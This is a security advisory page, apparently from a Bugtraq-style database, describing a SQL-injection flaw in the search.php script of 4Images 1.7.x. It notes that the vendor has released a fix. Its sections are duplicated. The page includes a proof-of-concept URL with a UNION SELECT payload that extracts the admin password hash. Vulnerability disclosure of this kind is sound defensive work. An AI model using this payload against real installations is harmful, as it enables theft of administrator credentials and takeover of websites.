4Images Search.PHP SQL Injection Vulnerability
BID:20394
Info
4Images Search.PHP SQL Injection Vulnerability
| Bugtraq ID: | 20394 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 08 2006 12:00AM |
| Updated: | Oct 12 2006 04:04PM |
| Credit: | disfigure <[email protected]> is credited with the discovery of this vulnerability. |
| Vulnerable: |
4homepages 4images 1.7.3 4homepages 4images 1.7.1 |
| Not Vulnerable: | |
Discussion
4Images Search.PHP SQL Injection Vulnerability
4Images is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
This issue affects versions 1.7.x.
4Images is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
This issue affects versions 1.7.x.
Exploit / POC
4Images Search.PHP SQL Injection Vulnerability
Attackers can exploit these issues via a web client.
The following proof of concept is available:
http://www.example.com/<target>/<4images_dir>/search.php?search_user=x%2527%20union%20select%20user_password%20from%204images_users%20where%20user_name=%2527ADMIN
Attackers can exploit these issues via a web client.
The following proof of concept is available:
http://www.example.com/<target>/<4images_dir>/search.php?search_user=x%2527%20union%20select%20user_password%20from%204images_users%20where%20user_name=%2527ADMIN
Solution / Fix
4Images Search.PHP SQL Injection Vulnerability
Solution:
The vendor released a fix to address this issue. Please see the references for more information.
Solution:
The vendor released a fix to address this issue. Please see the references for more information.
References
4Images Search.PHP SQL Injection Vulnerability
References:
References:
- 4images Homepage (4homepages)
- Security Fix: 4Images Search.PHP SQL Injection Vulnerability (4homepages)